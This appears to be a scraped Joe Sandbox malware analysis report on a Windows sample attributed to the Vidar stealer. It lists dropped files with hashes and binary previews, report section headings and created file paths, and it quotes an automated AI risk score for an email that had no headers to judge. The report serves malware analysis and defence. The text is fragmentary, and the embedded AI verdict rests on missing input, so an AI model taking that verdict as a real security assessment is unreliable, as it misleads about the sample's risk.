MD5:	14937B985303ECCE4196154A24FC369A
SHA1:	ECFE89E11A8D08CE0C8745FF5735D5EDAD683730
SHA-256:	71006A5311819FEF45C659428944897184880BCDB571BF68C52B3D6EE97682FF
SHA-512:	1D03C75E4D2CD57EEE7B0E93E2DE293B41F280C415FB2446AC234FC5AFD11FE2F2FCC8AB9843DB0847C2CE6BD7DF7213FCF249EA71896FBF6C0696E3F5AEE46C
Malicious:	false
Preview:	Cr24..............0.."0....H.............0.........^...1"...w.g..t..2J.G1.)X4..=&.?[j,Lz..j.u.e[I.qBa/X...P.h..L.....2%3_o.......H.)'.=.e...?.......j..3UH.\|.X.M..u..s[...?$....F%....I....)..,-./.e5).f..O.q.^........9..(.._.ph2..^.YBPXf_8....h[.v...S.1`.#..5.SF.:f-.#.65.i..b.]9...y2.'....k[........%0............G.m.}...CG.....a.s.:.S..QiI.fT.k.MdOF.2....D...v`m...M.7'.R.d...8....2..~.<w8!.W..Sg.._A6.(.pC..w.=..!..7h!J...].....3......Kf..k...\|....6./.p.....A....e.1.y.<~Mu..+(v8W........?=.V+.Gb&...u8)...=Qt...... ......x.}.f..&X.SN9e..L....[0Y0....H.=.....H.=....B..............r...2..+Y.I...k..bR.j5Sl..8.......H"i.-l..`.Q.{...G0E.!....~..E...Au.C.q..y.?2An.a..Zn}. H~.vtgI...o.\|.j.e....p.........".&...........Z]o.H..+..zF.......S.E}@.F..".P`...3......jW....H.H...:..8.......<...........Z.e.>..vV.......J.,/.X.....?.%.....6....m#.u].Z...[.s.M_...J.."9l..l...,\|.....r...QC.....4:....wj.O...5....s.n.%.....y....c.....#F........)gv(..!S

C:\Users\user\AppData\Local\Temp\scoped_dir5832_1028233927\CRX_INSTALL\128.png

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	PNG image data, 128 x 128, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	4982
Entropy (8bit):	7.929761711048726
Encrypted:	false
SSDEEP:	96:L7Rf7U1ylWb3KfyEfOXE+PIcvBirQFiAql1ZwKREkXCSAk:pTvWqfD+gl0sAql1u7kySAk
MD5:	913064ADAAA4C4FA2A9D011B66B33183
SHA1:	99EA751AC2597A080706C690612AEEEE43161FC1
SHA-256:	AFB4CE8882EF7AE80976EBA7D87F6E07FCDDC8E9E84747E8D747D1E996DEA8EB
SHA-512:	162BF69B1AD5122C6154C111816E4B87A8222E6994A72743ED5382D571D293E1467A2ED2FC6CC27789B644943CF617A56DA530B6A6142680C5B2497579A632B5
Malicious:	false
Preview:	.PNG........IHDR..............>a....=IDATx..]}...U..;...O.Q..QH.I(....v..E....GUb..R[.4@%..hK..B..(.B..". ....&)U#.%...jZ...JC.8.....{.cfvgf.3;.....}ow.....{...P.B...T.P.B...*Tx...=.Q..wv.w.....\|.e.1.$.P.?..l_\.n.}...~.g.....Q...A.f....m.....{,...C2 %..X.......FE.1.N..f...Q..D.K87.....:g..Q.{............3@$.8.....{.....q....G.. .....5..y......)XK..F...D.......... ."8...J#.eM.i....H.E.....a.RIP.`......)..T.....! .[p`X.`..L.a....e. .T..2.....H..p$..02...j....\..........s{...Ymm~.a........f.$./.[.{..C.2:.0..6..]....`....NW.....0..o.T..$;k.2......_...k..{,.+........{..6...L..... .dw...l$..}...K...EV....0......P...e....k....+Go....qw.9.1...X2\..qfw0v.....N...{...l.."....f.A..I..+#.v....'..~E.N-k.........{...l.$..ga..1...$......x$X=}.N..S..B$p..`..`.ZG:c..RA.(.0......Gg.A.I..>...3u.u........_..KO.m.........C...,..c.......0...@_..m...-..7.......4LZ......j@.......\..'....u. QJ.:G..I`.w'B0..w.H..'b.0- ......\|..}./.....e..,.K.1........W.u.v. ...\.o

C:\Users\user\AppData\Local\Temp\scoped_dir5832_1028233927\CRX_INSTALL\_locales\af\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	908
Entropy (8bit):	4.512512697156616
Encrypted:	false
SSDEEP:	12:1HASvgMTCBxNB+kCIww3v+BBJ/wjsV8lCBxeBeRiGTCSU8biHULaBg/4srCBhUJJ:1HAkkJ+kCIwEg/wwbw0PXa22QLWmSDg
MD5:	12403EBCCE3AE8287A9E823C0256D205
SHA1:	C82D43C501FAE24BFE05DB8B8F95ED1C9AC54037
SHA-256:	B40BDE5B612CFFF936370B32FB0C58CC205FC89937729504C6C0B527B60E2CBA
SHA-512:	153401ECDB13086D2F65F9B9F20ACB3CEFE5E2AEFF1C31BA021BE35BF08AB0634812C33D1D34DA270E5693A8048FC5E2085E30974F6A703F75EA1622A0CA0FFD
Malicious:	false
Preview:	{.. "createnew": {.. "message": "SKEP NUWE".. },.. "explanationofflinedisabled": {.. "message": "Jy is vanlyn. As jy Google Dokumente sonder 'n internetverbinding wil gebruik, moet jy die volgende keer as jy aan die internet gekoppel is na instellings op die Google Dokumente-tuisblad gaan en vanlynsinkronisering aanskakel.".. },.. "explanationofflineenabled": {.. "message": "Jy is vanlyn, maar jy kan nog steeds beskikbare l.ers redigeer of nuwes skep.".. },.. "extdesc": {.. "message": "Skep, wysig en bekyk jou dokumente, sigblaaie en aanbiedings . alles sonder toegang tot die internet.".. },.. "extname": {.. "message": "Google Vanlyn Dokum<

Input	Output
URL: email Model: Joe Sandbox AI	{ "risk_score": 1, "reasoning": [ "No headers provided to analyze", "Cannot make security assessment without header information", "Default to low risk score due to lack of evidence" ] }
Date: unknown

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 25xTHcaF7V.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: Vidar

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

HIPS / PFW / Operating System Protection Evasion

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Spreading

Software Vulnerabilities

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

LLM Input / Output

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\9r1vs\2n79hd

C:\ProgramData\9r1vs\47glng

C:\ProgramData\9r1vs\68qi5p

C:\ProgramData\9r1vs\7q16x4

C:\ProgramData\9r1vs\8g4op8

C:\ProgramData\9r1vs\9zcba1

C:\ProgramData\9r1vs\a16pp8

C:\ProgramData\9r1vs\aaaaaa

Windows Analysis Report
25xTHcaF7V.exe